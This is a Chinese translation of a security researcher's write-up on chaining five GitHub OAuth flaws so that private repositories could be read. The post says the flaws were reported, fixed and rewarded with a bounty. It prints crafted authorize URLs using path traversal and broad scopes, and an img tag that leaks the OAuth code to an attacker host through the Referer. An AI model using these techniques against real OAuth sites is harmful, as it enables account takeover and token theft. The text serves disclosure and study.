Egor Homakov：我是如何再次黑掉 GitHub

jopen 10年前

// 编注：为什么标题是“再次”？2013年，GitHub Page服务启用新域名（从 page.github.com 换到 github.io）之前有被跨域攻击的危险。Egor Homakov 写了一篇博文证实。

这篇文章是关于我将5个危险性不高的漏洞组合起来，构造一个简单却高危漏洞的故事。利用这个漏洞，我可以进入github上的用户私有代码仓库。这些漏洞都已经私下报告并及时修复了。

下面是我的邮件时间线：

几天前，GitHub正式推出了一个赏金计划，这个计划对我来说是研究GitHub OAuth问题的绝佳动力。

漏洞1. 利用/../绕过redirect_uri 验证

我最先发现的是：

如果提供了的话，重定向URL的主机和端口必须严格匹配回调URL。重定向URL的路径只能引用回调URL的一个子目录。

然后，我尝试用/../进行路径遍历，我成功了。

漏洞2. 在获得令牌的终端缺少重定向URI验证

仅有第一个漏洞没有什么价值。在OAuth2协议中有保护机制防止‘泄露的’重定向URI，每个code参数都签发给对应的‘redirect_uri’。要获得访问令牌必须提供你在认证流程中使用的准确的redirect_uri。

redirect_uri string 你的app中用户认证后返回给用户的URL。查看更多细节点击 redirect_urls.

不幸的是，我决定研究一下这个保护机制有没有被正确实现。

它确实是有缺陷：不管客户端发送什么重定向uri来获得令牌，提供商都会回复一个有效的访问令牌。

要是没有第一个漏洞，第二个漏洞也会要毫无价值。但是，它们却组合成一个很强大的漏洞——攻击者可以劫持一个签发给泄露的重定向uri的授权令牌，然后把这个泄露的令牌用在真正的客户端回调URl上，从而登陆受害者的账户。顺便说下，这和我在VK.com发现的漏洞一样。

这是一个严重的问题，而且可以用来危害所有依赖“用GitHub登陆”功能的网站。我打开了应用页面来查看哪些网站应该检查一下。这个部分引起了我的注意：

Gist、Education、Pages和Speakerdeck（注：前三个是Github的频道站，后面是旗下站点）都是官方预先认可的OAuth客户端。我没有找到Pages和Education的client_id，Speakerdeck又超出了奖金范围（我在那里发现了账户劫持，并获得了$100）。那么，我们还是在Gist上寻找重定向泄露的页面吧。

漏洞3. 在gist中注入跨站图片

基本上，泄露的Referers有两个向量：用户点击一个链接（需要交互）或用户代理载入一些跨站资源，比如
我不能简单的注入（img src=http://attackersite.com），因为这会替换成camo-proxy URL，这样就不能把Referer头传递到攻击者的主机。为了能够绕过Camo-s 过滤器，我用了一个小技巧：<img src=”///attackersite.com”>

你可以在开放重定向漏洞进展这篇文章中看到更多细节

///host.com 被Ruby的URI库解析成一个相对路径URL，却被Chrome和Firefox视为一个相对协议URL。下面是我们精心构造的URL：

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code

当用户载入这个URL时，Github会自动302 重定向自己。对应地址：

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

但是用户代理载入为：

https://gist.github.com/homakov/8820324?code=CODE

那么用户代理会把发送请求的CODE泄露给我们的：

一旦我们获得受害者的CODE，我们点击：

https://gist.github.com/auth/github/callback?code=CODE

瞧，我们登陆进了受害者的账号，然后我们可以进入私有的gists

漏洞4. Gist在cookies里暴露了github_token

我很想知道Gists是怎么把用户会话和解码的_gist_session存放在cookie（普通的Rails Base64编码的cookie）里：

天啊，又一个OAuth的反面教材！客户端绝不应该暴露真正的访问令牌给用户代理。现在我们可以用这个github_token代表受害者账户来执行API调用，并且不再需要Gist网站。我试着访问私人代码库：

该死的，令牌的范围显然仅仅是Gists……

漏洞5. 对Gist客户端的自动授权

我的漏洞利用的最后部分。由于Gist是一个预先授权的客户端，我猜想Github也自动认证了Gist客户端请求的其他范围。我果然对了

我们现在要做的只是把构造的URL载入到受害者的浏览器：

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications

用户代理泄漏了受害者的CODE，攻击者使用泄漏的CODE登陆进受害者的Gist账户，解码_gist_session来盗取github_token等等。

私人代码库，读写权限等等——都秘密失窃，因为所用github_token是属于Gist客户端的。完美的犯罪，不是吗？

赏金

$4000的奖励真是太丰厚了。有趣的是，对他们来说购买我4~5个小时$400的咨询服务，只需要$1600，这会更便宜。重要的是也要有众包安全。最好是两者都用:)

原文链接： Egor Homakov 翻译：伯乐在线 - 50infivedays
译文链接： http://blog.jobbole.com/61115/